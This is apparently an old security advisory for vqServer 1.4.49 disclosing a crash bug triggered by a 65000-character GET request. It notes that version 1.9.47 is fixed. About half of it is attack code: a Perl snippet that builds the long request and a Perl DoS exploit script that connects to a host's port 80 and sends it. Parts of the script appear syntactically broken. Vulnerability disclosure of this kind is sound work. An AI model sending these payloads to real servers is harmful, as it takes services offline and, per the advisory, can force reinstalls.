Advisory for vqServer 1.4.49
vqServer is made by vqSoft. Site: http://www.vqsoft.com
by nemesystm of the DHC
(http://dhcorp.cjb.net - firstname.lastname@example.org)
When sending vqServer version 1.4.49 a malformed URL request it will crash
the service. This has been verified to work on the Windows version, but
it probably is in the linux/unix version and prior versions too.
To test this vulnerability, send a GET request with 65000 characters.
GET /AAA (hit return =)
Where AAA = 65000, seeing as Internet Explorer, nor Netscape lets you paste
that much characters in their browser fields (www.server.com/AAA) you will
have to use something like Telnet.
You can easily program something to print 65000 chars in Perl:
open (OUT, ">$ARGV");
print OUT ("GET /");
print OUT ("A" x 65000);
then it's just a cut and paste.
Or you can use the example code below
the latest edition of vqServer (1.9.47) is unaffected by this. It is available
for download at www.vqsoft.com
PUT, POST and the Administration port do not seem to be affected by a high
amount of characters. The Windows version needed a reinstall every five
or so crashes. A reboot or total shutdown did not help.
sinfony quickly wrote some code so you can see if you're vulnerable.
# DoS exploit for vqServer 1.4.49
# This vulnerability was discovered by nemesystm
# code by: sinfony (email@example.com)
# [confess.sins.labs] (http://www.ro0t.nu/csl)
# and DHC member
# kiddie quote of the year:
# <gammbitr> dude piffy stfu i bet you don't even know how to exploit it
die "vqServer 1.4.49 DoS by sinfony (chinesef00d\@hotmail.com)\n
usage: $0 <host> \n"
if $#ARGV != 0;
$host = $ARGV;
$port = 80;
print "Connecting to $host on port $port...\n";
$suck = IO::Socket::INET->
|| die "$host isnt a webserver you schmuck.\n";
$a = A;
$send = $a x 65000;
print "Connected, sending exploit.\n";
print $suck "GET /$send\n";
print "Exploit sent. vqServer should be dead.\n";